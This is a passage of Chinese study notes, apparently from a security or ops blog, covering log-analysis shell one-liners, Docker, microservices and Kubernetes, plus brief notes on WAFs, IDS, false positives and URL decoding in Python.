cat /www/logs/access.2019-02-23.log |awk '{print $2}'|sort|uniq -c|sort -rn|more 
14、 统计URL
cat /www/logs/access.2019-02-23.log |awk '{print $7}'|sort|uniq -c|sort -rn|more  
15、URL访问量统计
cat /www/logs/access.2019-02-23.log | awk '{print $7}' | egrep '\?|&' | sort | uniq -c | sort -rn | more

Docker 及相关应用

Docker是容器开发、部署和运行应用程序的平台。Docker可以把一个应用所有环境打包成一个容器,方便迁移和复用。

那 Docker 究竟有哪些好处呢?除去之前说的环境的配置

  1. 基于 Linux 的 cgroup 运行(现在大部分开源 OJ 所使用的代码执行方式)
  2. 直接运行在宿主机,不用类似 KVM 一样的模拟(容器不是虚拟机)
  3. 有轻量级隔离,也可以实现容器与宿主机的资源共享(网络不是隔离的)
  4. 不需要硬件的支持,不需要模拟硬件(虚拟机需要 CPU 虚拟化支持)
  5. 进程级的模拟,更快的启动速度以及更少的资源占用
  6. 提供弹性的云服务,Docker 容器可以随开随关,很适合动态扩容。
  7. 通过多个容器,一台机器可以跑多个服务,因此在本机就可以模拟出微服务架构

微服务架构

●微服务架构简单来说就是把一个完整的应用分成多个小的服务

●每个服务可以单独独立部署,每个服务之间是松耦合的。服务内部是高内聚的,外部是低耦合的,也是比较符合软件设计原则的,高内聚就是每个服务内部的关系是非常密切的,每个服务之间只关注完成一个功能。

●举个例子你把一个网站分成了三个部分——前端,后端,数据库。那么这三个都是一个服务,这个网站就由这三个服务构成。当然你还可以进行更细的划分,数据库(用户表,信息表,xxx表),前端(个人界面,管理界面)……

●微服务优点就是可靠性强,可伸缩性强,团队协作更加容易,跨语言开发更容易

●缺点也很明显,运维难度大,部署系统多

微服务架构下的部署

●假如你使用Docker的话

●优点:你可以很好的解决环境问题,你也可以很好的解决多容器部署的问题,你甚至可以快速一键在一台机器部署所有你要的服务

●缺点:运维要监控几千个docker的运行情况,扩容docker相对繁琐,资源利用率不高,可能有的docker会闲置

●但是这个时候Kubernetes(k8s)就出现了,几乎解决了微服务运维下的所有痛点

●k8s提供了健康检查和自修复,自动扩容缩容,服务发现和负载均衡

其他

安全设备

  • WAF:拦截SQL注入、XSS等攻击。
  • IDS/IPS:检测异常流量(如SQLMap特征)。

判断误报

  • 验证Payload:检查是否触发真实漏洞(如手动测试)。
  • 业务分析:确认是否为正常业务请求(如扫描器爬虫)。

真实IP探测

  • 方法:历史DNS记录、全球Ping测试、SSL证书关联IP。

Python工具库

解析URL编码,使用库:urllib.parseunquote()解码,quote()编码)。

本文由作者按照 CC BY 4.0 进行授权